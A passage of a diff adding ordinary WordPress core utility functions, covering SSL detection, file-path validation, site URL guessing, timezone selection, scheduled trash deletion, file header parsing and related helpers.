+			$phpinfo = ob_get_clean();
+			if ( false !== strpos($phpinfo, $mod) )
+				return true;
+	}
+	return $default;
+}
+
+/**
+ * Check if IIS 7+ supports pretty permalinks.
+ *
+ * @since 2.8.0
+ *
+ * @return bool Whether IIS7 supports permalinks.
+ */
+function iis7_supports_permalinks() {
+	global $is_iis7;
+
+	$supports_permalinks = false;
+	if ( $is_iis7 ) {
+		/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
+		 * easily update the xml configuration file, hence we just bail out and tell user that
+		 * pretty permalinks cannot be used.
+		 *
+		 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
+		 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
+		 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
+		 * via ISAPI then pretty permalinks will not work.
+		 */
+		$supports_permalinks = class_exists('DOMDocument') && isset($_SERVER['IIS_UrlRewriteModule']) && ( php_sapi_name() == 'cgi-fcgi' );
+	}
+
+	/**
+	 * Filter whether IIS 7+ supports pretty permalinks.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
+	 */
+	return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
+}
+
+/**
+ * File validates against allowed set of defined rules.
+ *
+ * A return value of '1' means that the $file contains either '..' or './'. A
+ * return value of '2' means that the $file contains ':' after the first
+ * character. A return value of '3' means that the file is not in the allowed
+ * files list.
+ *
+ * @since 1.2.0
+ *
+ * @param string $file File path.
+ * @param array $allowed_files List of allowed files.
+ * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
+ */
+function validate_file( $file, $allowed_files = '' ) {
+	if ( false !== strpos( $file, '..' ) )
+		return 1;
+
+	if ( false !== strpos( $file, './' ) )
+		return 1;
+
+	if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
+		return 3;
+
+	if (':' == substr( $file, 1, 1 ) )
+		return 2;
+
+	return 0;
+}
+
+/**
+ * Determine if SSL is used.
+ *
+ * @since 2.6.0
+ *
+ * @return bool True if SSL, false if not used.
+ */
+function is_ssl() {
+	if ( isset($_SERVER['HTTPS']) ) {
+		if ( 'on' == strtolower($_SERVER['HTTPS']) )
+			return true;
+		if ( '1' == $_SERVER['HTTPS'] )
+			return true;
+	} elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Whether SSL login should be forced.
+ *
+ * @since 2.6.0
+ *
+ * @see force_ssl_admin()
+ *
+ * @param string|bool $force Optional Whether to force SSL login. Default null.
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_login( $force = null ) {
+	return force_ssl_admin( $force );
+}
+
+/**
+ * Whether to force SSL used for the Administration Screens.
+ *
+ * @since 2.6.0
+ *
+ * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_admin( $force = null ) {
+	static $forced = false;
+
+	if ( !is_null( $force ) ) {
+		$old_forced = $forced;
+		$forced = $force;
+		return $old_forced;
+	}
+
+	return $forced;
+}
+
+/**
+ * Guess the URL for the site.
+ *
+ * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
+ * directory.
+ *
+ * @since 2.6.0
+ *
+ * @return string The guessed URL.
+ */
+function wp_guess_url() {
+	if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
+		$url = WP_SITEURL;
+	} else {
+		$abspath_fix = str_replace( '\\', '/', ABSPATH );
+		$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
+
+		// The request is for the admin
+		if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
+			$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
+
+		// The request is for a file in ABSPATH
+		} elseif ( $script_filename_dir . '/' == $abspath_fix ) {
+			// Strip off any file/query params in the path
+			$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
+
+		} else {
+			if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
+				// Request is hitting a file inside ABSPATH
+				$directory = str_replace( ABSPATH, '', $script_filename_dir );
+				// Strip off the sub directory, and any file/query paramss
+				$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );
+			} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
+				// Request is hitting a file above ABSPATH
+				$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
+				// Strip off any file/query params from the path, appending the sub directory to the install
+				$path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;
+			} else {
+				$path = $_SERVER['REQUEST_URI'];
+			}
+		}
+
+		$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
+		$url = $schema . $_SERVER['HTTP_HOST'] . $path;
+	}
+
+	return rtrim($url, '/');
+}
+
+/**
+ * Temporarily suspend cache additions.
+ *
+ * Stops more data being added to the cache, but still allows cache retrieval.
+ * This is useful for actions, such as imports, when a lot of data would otherwise
+ * be almost uselessly added to the cache.
+ *
+ * Suspension lasts for a single page load at most. Remember to call this
+ * function again if you wish to re-enable cache adds earlier.
+ *
+ * @since 3.3.0
+ *
+ * @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
+ * @return bool The current suspend setting
+ */
+function wp_suspend_cache_addition( $suspend = null ) {
+	static $_suspend = false;
+
+	if ( is_bool( $suspend ) )
+		$_suspend = $suspend;
+
+	return $_suspend;
+}
+
+/**
+ * Suspend cache invalidation.
+ *
+ * Turns cache invalidation on and off. Useful during imports where you don't wont to do
+ * invalidations every time a post is inserted. Callers must be sure that what they are
+ * doing won't lead to an inconsistent cache when invalidation is suspended.
+ *
+ * @since 2.7.0
+ *
+ * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
+ * @return bool The current suspend setting.
+ */
+function wp_suspend_cache_invalidation( $suspend = true ) {
+	global $_wp_suspend_cache_invalidation;
+
+	$current_suspend = $_wp_suspend_cache_invalidation;
+	$_wp_suspend_cache_invalidation = $suspend;
+	return $current_suspend;
+}
+
+/**
+ * Determine whether a site is the main site of the current network.
+ *
+ * @since 3.0.0
+ *
+ * @param int $site_id Optional. Site ID to test. Defaults to current site.
+ *                     Defaults to current site.
+ * @return bool True if $site_id is the main site of the network, or if not
+ *              running Multisite.
+ */
+function is_main_site( $site_id = null ) {
+	// This is the current network's information; 'site' is old terminology.
+	global $current_site;
+
+	if ( ! is_multisite() )
+		return true;
+
+	if ( ! $site_id )
+		$site_id = get_current_blog_id();
+
+	return (int) $site_id === (int) $current_site->blog_id;
+}
+
+/**
+ * Determine whether a network is the main network of the Multisite install.
+ *
+ * @since 3.7.0
+ *
+ * @param int $network_id Optional. Network ID to test. Defaults to current network.
+ * @return bool True if $network_id is the main network, or if not running Multisite.
+ */
+function is_main_network( $network_id = null ) {
+	global $wpdb;
+
+	if ( ! is_multisite() )
+		return true;
+
+	$current_network_id = (int) get_current_site()->id;
+
+	if ( ! $network_id )
+		$network_id = $current_network_id;
+	$network_id = (int) $network_id;
+
+	if ( defined( 'PRIMARY_NETWORK_ID' ) )
+		return $network_id === (int) PRIMARY_NETWORK_ID;
+
+	if ( 1 === $current_network_id )
+		return $network_id === $current_network_id;
+
+	$primary_network_id = (int) wp_cache_get( 'primary_network_id', 'site-options' );
+
+	if ( $primary_network_id )
+		return $network_id === $primary_network_id;
+
+	$primary_network_id = (int) $wpdb->get_var( "SELECT id FROM $wpdb->site ORDER BY id LIMIT 1" );
+	wp_cache_add( 'primary_network_id', $primary_network_id, 'site-options' );
+
+	return $network_id === $primary_network_id;
+}
+
+/**
+ * Determine whether global terms are enabled.
+ *
+ * @since 3.0.0
+ *
+ * @return bool True if multisite and global terms enabled.
+ */
+function global_terms_enabled() {
+	if ( ! is_multisite() )
+		return false;
+
+	static $global_terms = null;
+	if ( is_null( $global_terms ) ) {
+
+		/**
+		 * Filter whether global terms are enabled.
+		 *
+		 * Passing a non-null value to the filter will effectively short-circuit the function,
+		 * returning the value of the 'global_terms_enabled' site option instead.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param null $anbled Whether global terms are enabled.
+		 */
+		$filter = apply_filters( 'global_terms_enabled', null );
+		if ( ! is_null( $filter ) )
+			$global_terms = (bool) $filter;
+		else
+			$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
+	}
+	return $global_terms;
+}
+
+/**
+ * gmt_offset modification for smart timezone handling.
+ *
+ * Overrides the gmt_offset option if we have a timezone_string available.
+ *
+ * @since 2.8.0
+ *
+ * @return float|bool Timezone GMT offset, false otherwise.
+ */
+function wp_timezone_override_offset() {
+	if ( !$timezone_string = get_option( 'timezone_string' ) ) {
+		return false;
+	}
+
+	$timezone_object = timezone_open( $timezone_string );
+	$datetime_object = date_create();
+	if ( false === $timezone_object || false === $datetime_object ) {
+		return false;
+	}
+	return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
+}
+
+/**
+ * Sort-helper for timezones.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param array $a
+ * @param array $b
+ * @return int
+ */
+function _wp_timezone_choice_usort_callback( $a, $b ) {
+	// Don't use translated versions of Etc
+	if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
+		// Make the order of these more like the old dropdown
+		if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
+			return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
+		}
+		if ( 'UTC' === $a['city'] ) {
+			if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
+				return 1;
+			}
+			return -1;
+		}
+		if ( 'UTC' === $b['city'] ) {
+			if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
+				return -1;
+			}
+			return 1;
+		}
+		return strnatcasecmp( $a['city'], $b['city'] );
+	}
+	if ( $a['t_continent'] == $b['t_continent'] ) {
+		if ( $a['t_city'] == $b['t_city'] ) {
+			return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
+		}
+		return strnatcasecmp( $a['t_city'], $b['t_city'] );
+	} else {
+		// Force Etc to the bottom of the list
+		if ( 'Etc' === $a['continent'] ) {
+			return 1;
+		}
+		if ( 'Etc' === $b['continent'] ) {
+			return -1;
+		}
+		return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
+	}
+}
+
+/**
+ * Gives a nicely-formatted list of timezone strings.
+ *
+ * @since 2.9.0
+ *
+ * @param string $selected_zone Selected timezone.
+ * @return string
+ */
+function wp_timezone_choice( $selected_zone ) {
+	static $mo_loaded = false;
+
+	$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
+
+	// Load translations for continents and cities
+	if ( !$mo_loaded ) {
+		$locale = get_locale();
+		$mofile = WP_LANG_DIR . '/continents-cities-' . $locale . '.mo';
+		load_textdomain( 'continents-cities', $mofile );
+		$mo_loaded = true;
+	}
+
+	$zonen = array();
+	foreach ( timezone_identifiers_list() as $zone ) {
+		$zone = explode( '/', $zone );
+		if ( !in_array( $zone[0], $continents ) ) {
+			continue;
+		}
+
+		// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
+		$exists = array(
+			0 => ( isset( $zone[0] ) && $zone[0] ),
+			1 => ( isset( $zone[1] ) && $zone[1] ),
+			2 => ( isset( $zone[2] ) && $zone[2] ),
+		);
+		$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
+		$exists[4] = ( $exists[1] && $exists[3] );
+		$exists[5] = ( $exists[2] && $exists[3] );
+
+		$zonen[] = array(
+			'continent'   => ( $exists[0] ? $zone[0] : '' ),
+			'city'        => ( $exists[1] ? $zone[1] : '' ),
+			'subcity'     => ( $exists[2] ? $zone[2] : '' ),
+			't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
+			't_city'      => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
+			't_subcity'   => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
+		);
+	}
+	usort( $zonen, '_wp_timezone_choice_usort_callback' );
+
+	$structure = array();
+
+	if ( empty( $selected_zone ) ) {
+		$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
+	}
+
+	foreach ( $zonen as $key => $zone ) {
+		// Build value in an array to join later
+		$value = array( $zone['continent'] );
+
+		if ( empty( $zone['city'] ) ) {
+			// It's at the continent level (generally won't happen)
+			$display = $zone['t_continent'];
+		} else {
+			// It's inside a continent group
+
+			// Continent optgroup
+			if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
+				$label = $zone['t_continent'];
+				$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
+			}
+
+			// Add the city to the value
+			$value[] = $zone['city'];
+
+			$display = $zone['t_city'];
+			if ( !empty( $zone['subcity'] ) ) {
+				// Add the subcity to the value
+				$value[] = $zone['subcity'];
+				$display .= ' - ' . $zone['t_subcity'];
+			}
+		}
+
+		// Build the value
+		$value = join( '/', $value );
+		$selected = '';
+		if ( $value === $selected_zone ) {
+			$selected = 'selected="selected" ';
+		}
+		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
+
+		// Close continent optgroup
+		if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
+			$structure[] = '</optgroup>';
+		}
+	}
+
+	// Do UTC
+	$structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
+	$selected = '';
+	if ( 'UTC' === $selected_zone )
+		$selected = 'selected="selected" ';
+	$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
+	$structure[] = '</optgroup>';
+
+	// Do manual UTC offsets
+	$structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
+	$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
+		0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
+	foreach ( $offset_range as $offset ) {
+		if ( 0 <= $offset )
+			$offset_name = '+' . $offset;
+		else
+			$offset_name = (string) $offset;
+
+		$offset_value = $offset_name;
+		$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
+		$offset_name = 'UTC' . $offset_name;
+		$offset_value = 'UTC' . $offset_value;
+		$selected = '';
+		if ( $offset_value === $selected_zone )
+			$selected = 'selected="selected" ';
+		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
+
+	}
+	$structure[] = '</optgroup>';
+
+	return join( "\n", $structure );
+}
+
+/**
+ * Strip close comment and close php tags from file headers used by WP.
+ *
+ * @since 2.8.0
+ * @access private
+ *
+ * @see https://core.trac.wordpress.org/ticket/8497
+ *
+ * @param string $str Header comment to clean up.
+ * @return string
+ */
+function _cleanup_header_comment( $str ) {
+	return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
+}
+
+/**
+ * Permanently delete posts, pages, attachments, and comments which have been
+ * in the trash for EMPTY_TRASH_DAYS.
+ *
+ * @since 2.9.0
+ */
+function wp_scheduled_delete() {
+	global $wpdb;
+
+	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
+
+	$posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A);
+
+	foreach ( (array) $posts_to_delete as $post ) {
+		$post_id = (int) $post['post_id'];
+		if ( !$post_id )
+			continue;
+
+		$del_post = get_post($post_id);
+
+		if ( !$del_post || 'trash' != $del_post->post_status ) {
+			delete_post_meta($post_id, '_wp_trash_meta_status');
+			delete_post_meta($post_id, '_wp_trash_meta_time');
+		} else {
+			wp_delete_post($post_id);
+		}
+	}
+
+	$comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A);
+
+	foreach ( (array) $comments_to_delete as $comment ) {
+		$comment_id = (int) $comment['comment_id'];
+		if ( !$comment_id )
+			continue;
+
+		$del_comment = get_comment($comment_id);
+
+		if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
+			delete_comment_meta($comment_id, '_wp_trash_meta_time');
+			delete_comment_meta($comment_id, '_wp_trash_meta_status');
+		} else {
+			wp_delete_comment($comment_id);
+		}
+	}
+}
+
+/**
+ * Retrieve metadata from a file.
+ *
+ * Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
+ * Each piece of metadata must be on its own line. Fields can not span multiple
+ * lines, the value will get cut at the end of the first line.
+ *
+ * If the file data is not within that first 8kiB, then the author should correct
+ * their plugin file and move the data headers to the top.
+ *
+ * @link http://codex.wordpress.org/File_Header
+ *
+ * @since 2.9.0
+ *
+ * @param string $file            Path to the file.
+ * @param array  $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').
+ * @param string $context         Optional. If specified adds filter hook "extra_{$context}_headers".
+ *                                Default empty.
+ * @return array Array of file headers in `HeaderKey => Header Value` format.
+ */
+function get_file_data( $file, $default_headers, $context = '' ) {
+	// We don't need to write to the file, so just open for reading.
+	$fp = fopen( $file, 'r' );
+
+	// Pull only the first 8kiB of the file in.
+	$file_data = fread( $fp, 8192 );
+
+	// PHP will close file handle, but we are good citizens.
+	fclose( $fp );
+
+	// Make sure we catch CR-only line endings.
+	$file_data = str_replace( "\r", "\n", $file_data );
+
+	/**
+	 * Filter extra file headers by context.
+	 *
+	 * The dynamic portion of the hook name, `$context`, refers to
+	 * the context where extra headers might be loaded.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array $extra_context_headers Empty array by default.
+	 */
+	if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
+		$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
+		$all_headers = array_merge( $extra_headers, (array) $default_headers );
+	} else {
+		$all_headers = $default_headers;
+	}
+
+	foreach ( $all_headers as $field => $regex ) {
+		if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
+			$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
+		else
+			$all_headers[ $field ] = '';
+	}
+
+	return $all_headers;
+}
+
+/**
+ * Returns true.
+ *
+ * Useful for returning true to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @see __return_false()
+ *
+ * @return bool True.
+ */
+function __return_true() {
+	return true;
+}
+
+/**
+ * Returns false.
+ *
+ * Useful for returning false to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @see __return_true()
+ *
+ * @return bool False.
+ */
+function __return_false() {
+	return false;
+}
+
+/**
+ * Returns 0.
+ *
+ * Useful for returning 0 to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @return int 0.
+ */
+function __return_zero() {
+	return 0;
+}
+
+/**
+ * Returns an empty array.
+ *
+ * Useful for returning an empty array to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @return array Empty array.
+ */
+function __return_empty_array() {
+	return array();
+}
+
+/**
+ * Returns null.
+ *
+ * Useful for returning null to filters easily.
+ *
+ * @since 3.4.0
+ *
+ * @return null Null value.
+ */
+function __return_null() {
+	return null;
+}
+
+/**
+ * Returns an empty string.
+ *
+ * Useful for returning an empty string to filters easily.
+ *
+ * @since 3.7.0
+ *
+ * @see __return_null()
+ *
+ * @return string Empty string.
+ */
+function __return_empty_string() {
+	return '';
+}
+
+/**
+ * Send a HTTP header to disable content type sniffing in browsers which support it.
+ *
+ * @since 3.0.0
+ *
+ * @see http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
+ * @see http://src.chromium.org/viewvc/chrome?view=rev&revision=6985
+ */
+function send_nosniff_header() {
+	@header( 'X-Content-Type-Options: nosniff' );
+}
+
+/**
+ * Return a MySQL expression for selecting the week number based on the start_of_week option.
+ *
+ * @internal
+ * @since 3.0.0
+ *
+ * @param string $column Database column.
+ * @return string SQL clause.
+ */
+function _wp_mysql_week( $column ) {
+	switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
+	case 1 :
+		return "WEEK( $column, 1 )";
+	case 2 :
+	case 3 :
+	case 4 :
+	case 5 :
+	case 6 :
+		return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
+	case 0 :
+	default :
+		return "WEEK( $column, 0 )";
+	}
+}
+
+/**
+ * Find hierarchy loops using a callback function that maps object IDs to parent IDs.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param callback $callback      Function that accepts ( ID, $callback_args ) and outputs parent_ID.
+ * @param int      $start         The ID to start the loop check at.
+ * @param int      $start_parent  The parent_ID of $start to use instead of calling $callback( $start ).
+ *                                Use null to always use $callback
+ * @param array    $callback_args Optional. Additional arguments to send to $callback.
+ * @return array IDs of all members of loop.
+ */
+function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
+	$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
+
+	if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
+		return array();
+
+	return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
+}
+
+/**
+ * Use the "The Tortoise and the Hare" algorithm to detect loops.
+ *
+ * For every step of the algorithm, the hare takes two steps and the tortoise one.
+ * If the hare ever laps the tortoise, there must be a loop.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param callback $callback      Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
+ * @param int      $start         The ID to start the loop check at.
+ * @param array    $override      Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
+ *                                Default empty array.
+ * @param array    $callback_args Optional. Additional arguments to send to $callback. Default empty array.
+ * @param bool     $_return_loop  Optional. Return loop members or just detect presence of loop? Only set
+ *                                to true if you already know the given $start is part of a loop (otherwise
+ *                                the returned array might include branches). Default false.
+ * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
+ *               $_return_loop
+ */
+function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
+	$tortoise = $hare = $evanescent_hare = $start;
+	$return = array();
+
+	// Set evanescent_hare to one past hare
+	// Increment hare two steps
+	while (
+		$tortoise
+	&&
+		( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
+	&&
+		( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
+	) {
+		if ( $_return_loop )
+			$return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
+
+		// tortoise got lapped - must be a loop
+		if ( $tortoise == $evanescent_hare || $tortoise == $hare )
+			return $_return_loop ? $return : $tortoise;
+
+		// Increment tortoise by one step
+		$tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
+	}
+
+	return false;
+}
+
+/**
+ * Send a HTTP header to limit rendering of pages to same origin iframes.
+ *
+ * @since 3.1.3
+ *
+ * @see https://developer.mozilla.org/en/the_x-frame-options_response_header
+ */
+function send_frame_options_header() {
+	@header( 'X-Frame-Options: SAMEORIGIN' );
+}
+
+/**
+ * Retrieve a list of protocols to allow in HTML attributes.
+ *
+ * @since 3.3.0
+ *
+ * @see wp_kses()
+ * @see esc_url()
+ *
+ * @return array Array of allowed protocols.
+ */
+function wp_allowed_protocols() {
+	static $protocols;
+
+	if ( empty( $protocols ) ) {
+		$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp' );
+
+		/**
+		 * Filter the list of protocols allowed in HTML attributes.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
+		 */
+		$protocols = apply_filters( 'kses_allowed_protocols', $protocols );
+	}
+
+	return $protocols;
+}
+
+/**
+ * Return a comma-separated string of functions that have been called to get
+ * to the current point in code.
+ *
+ * @since 3.4.0
+ *
+ * @see https://core.trac.wordpress.org/ticket/19589
+ *
+ * @param string $ignore_class Optional. A class to ignore all function calls within - useful
+ *                             when you want to just give info about the callee. Default null.
+ * @param int    $skip_frames  Optional. A number of stack frames to skip - useful for unwinding
+ *                             back to the source of the issue. Default 0.
+ * @param bool   $pretty       Optional. Whether or not you want a comma separated string or raw
+ *                             array returned. Default true.
+ * @return string|array Either a string containing a reversed comma separated trace or an array
+ *                      of individual calls.
+ */
+function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
+	if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
+		$trace = debug_backtrace( false );
+	else
+		$trace = debug_backtrace();
+
+	$caller = array();
+	$check_class = ! is_null( $ignore_class );
+	$skip_frames++; // skip this function
+
+	foreach ( $trace as $call ) {
+		if ( $skip_frames > 0 ) {
+			$skip_frames--;
+		} elseif ( isset( $call['class'] ) ) {
+			if ( $check_class && $ignore_class == $call['class'] )
+				continue; // Filter out calls
+
+			$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
+		} else {
+			if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
+				$caller[] = "{$call['function']}('{$call['args'][0]}')";
+			} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
+				$caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
+			} else {
+				$caller[] = $call['function'];
+			}
+		}
+	}
+	if ( $pretty )
+		return join( ', ', array_reverse( $caller ) );
+	else
+		return $caller;
+}
+
+/**
+ * Retrieve ids that are not already present in the cache.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param array  $object_ids ID list.
+ * @param string $cache_key  The cache bucket to check against.
+ *
+ * @return array List of ids not present in the cache.
+ */
+function _get_non_cached_ids( $object_ids, $cache_key ) {
+	$clean = array();
+	foreach ( $object_ids as $id ) {
+		$id = (int) $id;
+		if ( !wp_cache_get( $id, $cache_key ) ) {
+			$clean[] = $id;
+		}
+	}
+
+	return $clean;
+}
+
+/**
+ * Test if the current device has the capability to upload files.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @return bool true|false Whether the device is able to upload files.
+ */
+function _device_can_upload() {
+	if ( ! wp_is_mobile() )
+		return true;
+
+	$ua = $_SERVER['HTTP_USER_AGENT'];
+
+	if ( strpos($ua, 'iPhone') !== false
+		|| strpos($ua, 'iPad') !== false
+		|| strpos($ua, 'iPod') !== false ) {
+			return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
+	}
+
+	return true;
+}
+
+/**
+ * Test if a given path is a stream URL
+ *
+ * @param string $path The resource path or URL.
+ * @return bool True if the path is a stream URL.
+ */
+function wp_is_stream( $path ) {
+	$wrappers = stream_get_wrappers();
+	$wrappers_re = '(' . join('|', $wrappers) . ')';
+
+	return preg_match( "!^$wrappers_re://!", $path ) === 1;
+}
+
+/**
+ * Test if the supplied date is valid for the Gregorian calendar.
+ *
+ * @since 3.5.0
+ *
+ * @see checkdate()
+ *
+ * @param  int    $month       Month number.
+ * @param  int    $day         Day number.
+ * @param  int    $year        Year number.
+ * @param  string $source_date The date to filter.
+ * @return bool True if valid date, false if not valid date.
+ */
+function wp_checkdate( $month, $day, $year, $source_date ) {
+	/**
+	 * Filter whether the given date is valid for the Gregorian calendar.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param bool   $checkdate   Whether the given date is valid.
+	 * @param string $source_date Date to check.
+	 */
+	return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
+}
+
+/**
+ * Load the auth check for monitoring whether the user is still logged in.
+ *
+ * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
+ *
+ * This is disabled for certain screens where a login screen could cause an
+ * inconvenient interruption. A filter called wp_auth_check_load can be used
+ * for fine-grained control.
+ *
+ * @since 3.6.0
+ */
+function wp_auth_check_load() {
+	if ( ! is_admin() && ! is_user_logged_in() )
+		return;
+
+	if ( defined( 'IFRAME_REQUEST' ) )
+		return;
+
+	$screen = get_current_screen();
+	$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
+	$show = ! in_array( $screen->id, $hidden );
+
+	/**
+	 * Filter whether to load the authentication check.
+	 *
